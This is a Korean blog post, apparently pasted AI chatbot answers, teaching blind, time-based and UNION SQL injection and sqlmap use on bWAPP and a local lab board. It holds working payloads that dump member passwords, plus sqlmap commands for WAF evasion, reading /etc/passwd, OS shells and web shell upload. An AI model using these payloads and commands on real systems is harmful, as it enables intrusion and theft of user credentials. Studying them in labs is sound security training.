sql인젝션과 sqlmap

Sumin·2025년 5월 11일

bWAPP 환경에서 Blind SQL Injection을 연습할 때, substring(database(),1,1)='b' 같은 방식은 아주 기초적인 Boolean 기반 블라인드 인젝션입니다. 이 방식은 가능한 문자를 하나씩 대입해 참/거짓 결과를 보고 정보를 추출하는 방법이라 느리고 비효율적일 수 있습니다. 더 효율적으로 추출하기 위한 몇 가지 팁과 방법을 소개해드릴게요 😊


✅ 1. 이진 검색(Binary Search) 활용하기

  • 알파벳을 a부터 z까지 하나씩 대입하는 대신, 이진 탐색을 사용하면 횟수를 줄일 수 있어요.
  • 예를 들어, ASCII 값을 기준으로 중간값을 비교하는 식입니다.
' or ascii(substring(database(),1,1)) > 109 -- 

m(109)을 기준으로 크면 참, 작으면 거짓
→ 이를 반복하여 이진 탐색으로 문자를 찾을 수 있어요.

장점: 최대 26회가 아닌 5~6회 내로 한 문자 확인 가능


✅ 2. 자동화 도구 사용하기

  • SQLMap은 블라인드 인젝션 자동화에 최적화된 도구입니다.
sqlmap -u "http://your.target.com/vuln.php?param=1" --cookie="security_level=low; PHPSESSID=..." --technique=B --dbs
  • --technique=B → Boolean 기반 인젝션 사용
  • --dbs → 데이터베이스 이름 추출
  • --batch → 자동 진행

⏳ 수동보다 수십 배 빠르게 진행됩니다.


✅ 3. 시간 기반 인젝션도 고려하기 (블라인드의 다른 유형)

  • if()문과 sleep()을 사용하는 시간 기반 방법도 있어요:
' or if(substring(database(),1,1)='b', sleep(3), 0) -- 
  • 응답 시간에 따라 참/거짓을 판단하는 방식입니다.
  • 응답 시간이 빠르다면 False, 느리면 True로 판단 가능.

✅ 4. 사전 리스트 사용한 브루트포싱

  • 알파벳 순서대로 넣는 게 아니라, 영어로 자주 쓰이는 단어 리스트(예: information_schema, bWAPP, dvwa)를 기반으로 후보를 줄이면 더 효율적입니다.

요약 📝

방법설명장점
문자 하나씩 대입' or substring(...)='a'기본적이지만 느림
이진 탐색' or ascii(...) > N횟수 대폭 감소
sqlmap 사용자동화속도, 정확도 ↑
시간 기반 인젝션sleep() 활용출력 없어도 판단 가능
사전 리스트 사용자주 쓰는 DB/테이블명으로 추측초기 탐색 속도 향상

필요하시면 sqlmap을 활용한 예제나 bWAPP에서 자주 쓰이는 인젝션 벡터도 정리해드릴게요 😊
어떤 방식으로 연습 중이신가요? (수동/자동 도구 등)

좋습니다! 😊
Blind SQL Injection에서 **길이(length)**를 알아내는 건 매우 중요해요. 그래야 그 길이만큼 루프를 돌리거나 substr() 같은 함수로 값을 뽑을 수 있으니까요.


🔍 [1] 데이터베이스 이름 길이 추출하기

✅ Boolean 기반 방식 (참/거짓으로 판단)

' or length(database()) = 6 -- 

결과가 True이면 데이터베이스 이름의 길이가 6인 것!
False라면 계속 바꿔가며 맞춰야 합니다.

⏱ 보통 1부터 30 정도까지 브루트포싱합니다.


✅ 이진 탐색 응용 (ASCII처럼)

더 빠르게 하고 싶다면 이진 탐색처럼 다음과 같이:

' or length(database()) > 5 -- 

→ 참이면 6 이상 → 그다음 10 이상... 점점 좁혀가면 최대 5번 내로 확인 가능해요.


🔍 [2] 테이블 이름의 길이 확인 (예: information_schema.tables)

' or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) = 7 -- 

→ 현재 DB의 첫 번째 테이블 이름 길이가 7인지 확인하는 예제예요.
limit N,1을 이용해 여러 개의 테이블을 순차적으로 탐색 가능.


🔍 [3] 열(column) 이름의 길이 확인

' or (select length(column_name) from information_schema.columns where table_name='users' limit 0,1) = 5 -- 

💡 길이 체크할 수 있는 함수 요약표

항목길이 확인 함수 예시
DB 이름length(database())
테이블 이름length(table_name)
컬럼 이름length(column_name)
값 자체length((select password from users limit 0,1))

🎯 최종 팁

  • 길이는 보통 1~30 사이로 제한
  • 이진 탐색 방식으로 참/거짓 비교를 하면 훨씬 빠름!
  • bWAPP는 보통 bWAPP, security, dvwa, users 같은 테이블이 있어서 6~8자 안에 걸릴 가능성 높음

필요하시면 자동화 스크립트나 sqlmap에서 길이만 추출하는 명령어도 도와드릴게요 😊
지금 어떤 대상(DB/테이블/값)의 길이를 찾고 싶으신가요?

아하! 😄
방금처럼 사용하는 게 아니라, SQLMap이 뭔지 전체적으로 개념부터 알고 싶으신 거죠?
그럼 SQLMap이 어떤 도구인지, 어떻게 작동하는지, 주요 기능과 사용법을 전체적으로 정리해드릴게요.


🛠️ SQLMap이란?

SQLMap은 SQL Injection 취약점을 자동으로 탐지하고, 이를 통해 데이터베이스 정보를 추출하거나 조작할 수 있게 도와주는 오픈소스 도구입니다.

📦 Python으로 작성된 도구이며, 단 몇 줄 명령어만으로도 강력한 공격 수행이 가능해요.


🔍 SQLMap이 할 수 있는 일

기능설명
🔎 자동 취약점 스캔URL이나 파라미터에 SQLi 있는지 자동으로 확인
🧠 DB 정보 추출DB 이름, 테이블, 컬럼, 데이터 자동 추출
🧪 SQLi 방식 판별Boolean-based, Time-based, Error-based, UNION 등 방식 자동 판별
🔐 로그인 우회로그인 우회 공격 수행 가능 (--level 활용)
🕵️ 사용자 계정/해시 추출사용자 정보, 패스워드 해시 등 추출 가능
🔨 파일 시스템 접근DBMS 종류에 따라 파일 읽기/쓰기 가능 (예: MySQL load_file())
🧬 명령어 실행DB 권한이 있으면 OS 명령 실행까지 가능

⚙️ SQLMap 주요 옵션 요약

옵션설명
-u공격할 URL 지정
--cookie세션 유지용 쿠키 입력
--dataPOST 요청 본문 입력
--dbs데이터베이스 목록 조회
-D특정 데이터베이스 지정
--tables해당 DB의 테이블 목록 추출
--columns테이블 내 컬럼 정보 확인
--dump실제 데이터 추출
--technique사용할 SQLi 기법 설정 (B, T, U, E, S)
--batch자동으로 질문에 YES 응답
--level / --risk테스트 강도 조절 (기본 1~5)

🎯 실전 예시

sqlmap -u "http://example.com/vuln.php?id=1" --cookie="PHPSESSID=abc123" --dbs --batch

✅ 위 명령어는 다음 작업을 자동으로 해줍니다:

  1. URL 파라미터에 SQLi 있는지 테스트
  2. SQLi 방식 판단
  3. 현재 사용 가능한 DB 목록 추출

🧪 SQLi 방식 종류 (--technique 옵션)

기호의미설명
BBoolean-based blind참/거짓 기반
TTime-based blind시간 지연 판단
UUNION query-basedUNION SELECT 활용
EError-based에러 메시지 활용
SStacked queries여러 쿼리 동시에 실행

👉 예:

sqlmap -u "..." --technique=BT --dbs

💡 SQLMap 활용 팁

  • 🔒 로그인 후 페이지 공격 시 --cookie 또는 --auth-type 등 활용
  • 📄 파일 입력도 가능: -r request.txt 로 Burp에서 내보낸 요청 활용
  • 📊 --level을 높이면 더 많은 파라미터를 테스트하지만 속도가 느려질 수 있음

🧠 정리하면?

SQLMap = SQL 인젝션 자동화 공격 도구
단 몇 줄로도 아래 작업을 수행:

  • 취약점 탐지 🔍
  • 데이터베이스 구조 분석 🧱
  • 실제 데이터 추출 📦
  • 관리자 우회 또는 명령 실행 💣

필요하시면 실습 환경 구성, Burp와 연동해서 사용하는 방법, 또는 실제 bWAPP에서 SQLMap 활용 시나리오도 안내해드릴 수 있어요 😊
혹시 지금 어떤 환경(bWAPP, DVWA, 실제 URL 등)에서 SQLMap 쓰시려는 건가요?

좋아요! 😊 sqlmap은 단순한 자동화 툴이 아니라, SQL Injection(주입) 공격의 전체 사이클을 자동화하는 고급 도구예요. 지금부터 실무 관점에서 sqlmap의 구조, 주요 옵션, 사용 전략 등을 심층적으로 정리해드릴게요. 특히 보안관제·취약점 진단 관점에서 실전 대응 수준으로 설명드릴게요.


🧠 1. sqlmap의 핵심 기능 구조

구성 요소설명
DBMS 탐지MySQL, MSSQL, Oracle 등 자동 탐지
Injection 포인트 자동 분석GET, POST, 쿠키, 헤더 등 위치 파악
SQLi 기법 자동 탐지Boolean-based, Time-based, Error-based, UNION-based 등
데이터베이스 추출DB, 테이블, 컬럼, 값까지 추출 가능
파일 시스템 접근파일 읽기/쓰기, 명령 실행 등 (권한 충분할 경우)
세션 유지/우회 기능로그인 유지, CAPTCHA 우회, WAF 우회 기능 내장
대응 우회(tamper)다양한 우회 페이로드 지원

🛠️ 2. 공격 단계별 옵션 정리

🚩 [1단계] 타겟 식별

sqlmap -u "http://target.com/page.php?id=1"
  • GET 파라미터 자동 탐지
  • --data="id=1" → POST 요청 가능
  • --method=PUT|DELETE 등으로 HTTP 메서드 지정도 가능

🔍 [2단계] 인젝션 탐지

sqlmap ... --level=5 --risk=3 --batch
  • --level: 테스트 범위 (1~5, default 1)
  • --risk: 공격 강도 (1~3, default 1)
  • --batch: 질문 없이 자동 진행

: --level=5 & --risk=3은 실전에서 반드시 써야 함 (기본값은 너무 약함)


📊 [3단계] DB 정보 수집

sqlmap ... --dbs           # 데이터베이스 목록 조회
sqlmap ... -D dbname --tables      # 테이블 목록
sqlmap ... -D dbname -T tablename --columns  # 컬럼 목록
sqlmap ... -D dbname -T tablename -C username,password --dump  # 값 추출

옵션 체인 구성 방식

  • -D, -T, -C는 각각 데이터베이스, 테이블, 컬럼을 의미

🗂️ [4단계] 고급 활용

옵션설명
--os-shell쉘 접속 시도 (DB 계정에 FILE 권한 있을 경우)
--file-read="/etc/passwd"서버 파일 읽기
--file-write, --file-dest웹쉘 업로드
--sql-query="SELECT @@version"커스텀 SQL 실행
--dump-all전체 DB 추출 (심각한 위험)

🔐 [5단계] 인증 우회/세션 유지

옵션설명
--cookie="PHPSESSID=..."세션 유지
--auth-type=basic --auth-cred=user:pass기본 인증 대응
--headers="X-Forwarded-For: 127.0.0.1"헤더 위장
--csrf-token=tokenCSRF 토큰 자동 추적

🧙 [6단계] 우회 (WAF, 필터, 방화벽 등)

--random-agent              # 브라우저 위장
--tamper=space2comment      # 공백을 주석으로 변경
--technique=BEUSTQ          # 기법 선택: Boolean, Error, Union, Stacked, Time, Inline Query
--delay=1                   # 요청 간 딜레이 (WAF 우회)
--threads=10                # 멀티스레드 (속도 증가)

tamper 스크립트 예시

  • space2comment, between, charunicodeencode, randomcase, percentage, equaltolike, apostrophemask, unmagicquotes
  • 조합 가능: --tamper="space2comment,randomcase"

📦 실전 예제 시나리오

sqlmap -u "http://192.168.0.101/vuln.php?id=1" \
--cookie="PHPSESSID=..." \
--level=5 --risk=3 \
--batch --random-agent --tamper="space2comment" \
--dbs

➡️ 위 명령어는 다음을 수행함:

  • 고급 SQLi 기법으로 탐지
  • 브라우저 위장 + 필터 우회
  • 로그인 유지
  • 자동으로 데이터베이스 이름 추출

💡 실무 꿀팁

상황해결 방법
로그인 후만 SQLi 가능--cookie, 또는 Burp에서 요청 복사
로그인 후 redirect 발생--ignore-redirects
CSRF 토큰 있음--csrf-token 자동 추출
특정 파라미터만 테스트--param="username" 등으로 지정
HTTPS 인증서 오류--ignore-code=401,403 또는 --force-ssl

🔎 로그와 디버깅

  • --verbose=3 : 어떤 요청을 보내고 있는지 자세히 확인
  • --proxy="http://127.0.0.1:8080" : Burp Suite로 중간 분석 가능
  • --flush-session : 세션 캐시 삭제

🧠 면접/실무 대비 요약 질문

💬 Q. sqlmap에서 --level=5--risk=3의 의미는?
✅ 공격 기법의 다양성과 강도를 최대로 설정하여 탐지 확률을 높임

💬 Q. sqlmap이 인젝션을 못 찾을 때 체크할 것 3가지?
✅ (1) 보안레벨 또는 필터링 우회 필요 (2) 파라미터가 동적이지 않음 (3) 인증 유지 실패

💬 Q. 실무에서 Burp Suite와 연동할 땐 어떻게?
✅ 요청을 .txt로 저장 후 sqlmap -r request.txt --batch로 사용


더 깊은 내용이 필요하시면, 예: tamper 스크립트 커스터마이징, DB별 우회 기법 차이, SQLi 우회 페이로드 분석 등도 단계별로 설명드릴 수 있어요!
어느 부분을 더 파고들고 싶으신가요? 😊

좋아요! 😎 그럼 지금부터는 실무에서 바로 쓸 수 있는 실전 중심 SQLMap 사용법을 알려드릴게요.
🔥 특히 보안관제, 취약점 진단, 모의해킹 상황에서 자주 마주치는 케이스별로 짧고 실용적인 명령어 예제로 정리해드릴게요.


✅ 실전 상황별 SQLMap 사용 예시


📌 [1] 로그인 후 세션 유지 + POST 방식 인젝션

🔍 상황: 로그인 후에만 SQL Injection이 가능하고, POST 방식으로 ID/PW를 전송하는 페이지

sqlmap -u "http://site.com/login_check.php" \
--data="id=admin&pw=1234" \
--cookie="PHPSESSID=abcd1234" \
--batch --risk=3 --level=5 \
--dump

👉 이걸로 로그인 후에 POST 파라미터 idpw에 취약점이 있는지 자동으로 확인하고, 정보 추출까지 가능


📌 [2] Burp Suite에서 캡처한 요청으로 SQLMap 분석

🔍 상황: Burp로 HTTP 요청을 캡처했고, 그걸 이용해 SQLMap을 돌리고 싶을 때

sqlmap -r request.txt --batch --dump

request.txt는 Burp에서 Raw 요청을 export 한 것
👉 이 방법은 거의 모든 웹 취약점 진단에서 표준처럼 사용됨


📌 [3] 특정 파라미터만 지정해서 테스트

🔍 상황: 파라미터가 여러 개 있는데 그 중 하나(email)만 테스트하고 싶을 때

sqlmap -u "http://target.com/index.php?id=1&email=test@aaa.com" \
--batch --risk=3 --level=5 --param="email"

📌 [4] WAF 우회 필요할 때 (Web Application Firewall 탐지 회피)

🔍 상황: 필터링이 심해서 정상 요청도 차단됨

sqlmap -u "http://target.com/index.php?id=1" \
--batch --level=5 --risk=3 \
--random-agent \
--tamper="space2comment,between"

--tamper 옵션은 여러 개 조합 가능
✅ 가장 잘 먹히는 조합: space2comment, between, apostrophemask


📌 [5] 서버의 파일 읽기 (권한 있을 때)

🔍 상황: DB 계정에 FILE 권한이 있고, 서버에서 /etc/passwd 같은 파일을 읽고 싶을 때

sqlmap -u "http://target.com/index.php?id=1" \
--file-read="/etc/passwd"

✅ 윈도우라면 C:\\windows\\win.ini처럼 경로 써야 함


📌 [6] DB 직접 명령 실행 (정보 수집 목적)

sqlmap -u "http://target.com/index.php?id=1" \
--sql-query="SELECT user(), version(), database()"

👉 지금 접속된 DB의 사용자, 버전, 현재 DB 이름 확인 가능


📌 [7] 결과만 빠르게 확인하고 싶을 때 (탐지까지만)

sqlmap -u "http://target.com/index.php?id=1" \
--batch --level=3 --risk=2 \
--technique=BEUSTQ --banner

--banner는 DBMS 버전만 확인
--is-dba로 DB 관리자 권한 여부도 체크 가능


💡 실무 꿀팁 모음

목표옵션
로그인 필요--cookie="PHPSESSID=..."
요청 저장한 거로 분석-r request.txt
빠르게 가능 여부만 보기--banner, --is-dba
DB 열람--dbs, --tables, --columns, --dump
파일 읽기--file-read="/경로/파일"
탐지만 하고 멈추기--crawl=1 --batch
WAF 우회--tamper, --random-agent

🧪 실습용 테스트 사이트 (연습하기 좋은 곳)

  • bWAPP – SQLi 다양하게 테스트 가능
  • DVWA – SQL Injection Level 1~5 단계별 학습
  • Mutillidae – 고급 SQLi, 로그인 우회 등 테스트 가능
  • SQLi Lab by PentesterLab – 실전형 SQLi 학습

🔚 요약

✔️ 실무에서는 -r, --cookie, --tamper, --batch, --dump, --sql-query 조합을 정말 많이 씀
✔️ Burp + sqlmap 연동은 거의 필수
✔️ --tamper는 실무에서 우회용으로 거의 항상 필요
✔️ --batch질문 없이 자동화를 의미하므로 꼭 붙여주는 게 좋아요


원하시면 실전 웹 환경(bWAPP 등)에서 SQLMap을 어떤 순서로 써야 하는지 단계별 시나리오도 정리해드릴게요!
또는 tamper 스크립트 직접 수정/추가하는 법, SQLMap을 통한 웹쉘 업로드 방법도 알려드릴 수 있어요. 어떤 게 더 궁금하세요? 😊

실습장소

http://192.168.0.244/gmshop/board_list.php?boardIndex=6

자유게시판에 error기반 sql인젝션을
연습해보기로함

훌륭합니다! 👏 지금 작성하신 인젝션들은 UNION 기반 SQL Injection의 정석적인 3단계 흐름을 잘 보여주고 있어요. 하나씩 상세히 해석해드릴게요. 💡


📌 1단계: ' order by 25#

' order by 25#

컬럼 개수 확인

order by 25는 현재 쿼리에 컬럼이 25개 이상 있는지 테스트하는 용도예요.
에러가 난다면 → 컬럼 수를 줄여가며 몇 개인지 확인합니다.


📌 2단계: information_schema.tables를 통해 테이블 이름 확인

0' UNION SELECT '1','2',table_name,'4','5','6','7',...,'24' from information_schema.tables#

테이블 이름 추출

information_schema.tables는 MySQL에서 모든 테이블 정보가 저장된 시스템 테이블입니다.

🎯 이 인젝션은 다음을 수행합니다:

  • 원래 쿼리 조건을 0'으로 닫고,
  • UNION SELECT로 임의의 SELECT 쿼리를 붙임
  • 그 중 세 번째 컬럼에 table_name을 삽입해서,
  • 테이블 이름들이 화면에 출력되게 만듭니다.

이걸 통해 어떤 테이블이 존재하는지 알 수 있어요.


📌 3단계: 특정 테이블(member)의 컬럼 이름 확인

0' UNION SELECT '1','2',column_name,'4','5','6','7',...,'24' from information_schema.columns where table_name='member' #

컬럼 이름 추출 (member 테이블)

information_schema.columns에서 table_name='member' 조건으로 member 테이블의 모든 컬럼 이름을 가져오는 쿼리입니다.

🔎 실용 팁:

MySQL에서 table_name='member' 는 대소문자 구분이 될 수도 있으니,
확실하게 하려면 table_name LIKE 'member' COLLATE utf8_general_ci 도 고려하세요.


📌 4단계: 실제 데이터 추출

0' UNION SELECT '1','2',pwd,userid,'5','6',email,...,'24' from member#

중요 데이터 추출 (member 테이블)

  • pwd, userid, email → 실제 사용자의 비밀번호, ID, 이메일
  • 나머지 컬럼은 '1', '2', '3' 등으로 채워서 총 24개의 컬럼을 맞춤

📌 이걸 실행하면, 회원 정보가 웹페이지에 출력되게 됩니다. 이게 바로 SQL Injection의 핵심 파괴력이에요.


🔐 전체 흐름 요약표

단계쿼리설명
1단계' order by 25#컬럼 수 찾기
2단계UNION SELECT ..., table_name ... from information_schema.tables테이블 목록 확인
3단계UNION SELECT ..., column_name ... from information_schema.columns where table_name='member'컬럼명 찾기
4단계UNION SELECT ..., pwd, userid, email ... from member실제 민감 정보 추출

🎯 실전 응용 팁

💡 이걸 자동화하면?

sqlmap -u "http://target.com/page.php?id=0" --tables
sqlmap -u "http://target.com/page.php?id=0" -D dbname --columns -T member
sqlmap -u "http://target.com/page.php?id=0" -D dbname -T member --dump

👆 이걸로 같은 과정을 자동화할 수 있어요.
단, 수동 인젝션으로 연습해보는 건 감 잡는 데 매우 유익합니다.


🧠 요약

지금 작성한 건 다음 세 가지 핵심 기술이 조합된 전형적인 수동 SQL 인젝션 시도입니다:

  1. ORDER BY로 컬럼 수 찾기
  2. UNION SELECT + information_schema로 메타데이터 분석
  3. UNION SELECT + 실제 테이블 조회로 데이터 추출

원하시면 이걸 실습 가능한 환경(Bee-box, DVWA 등)에서 단계별로 따라하는 실습 가이드도 드릴게요. 원하시나요? 😊

0개의 댓글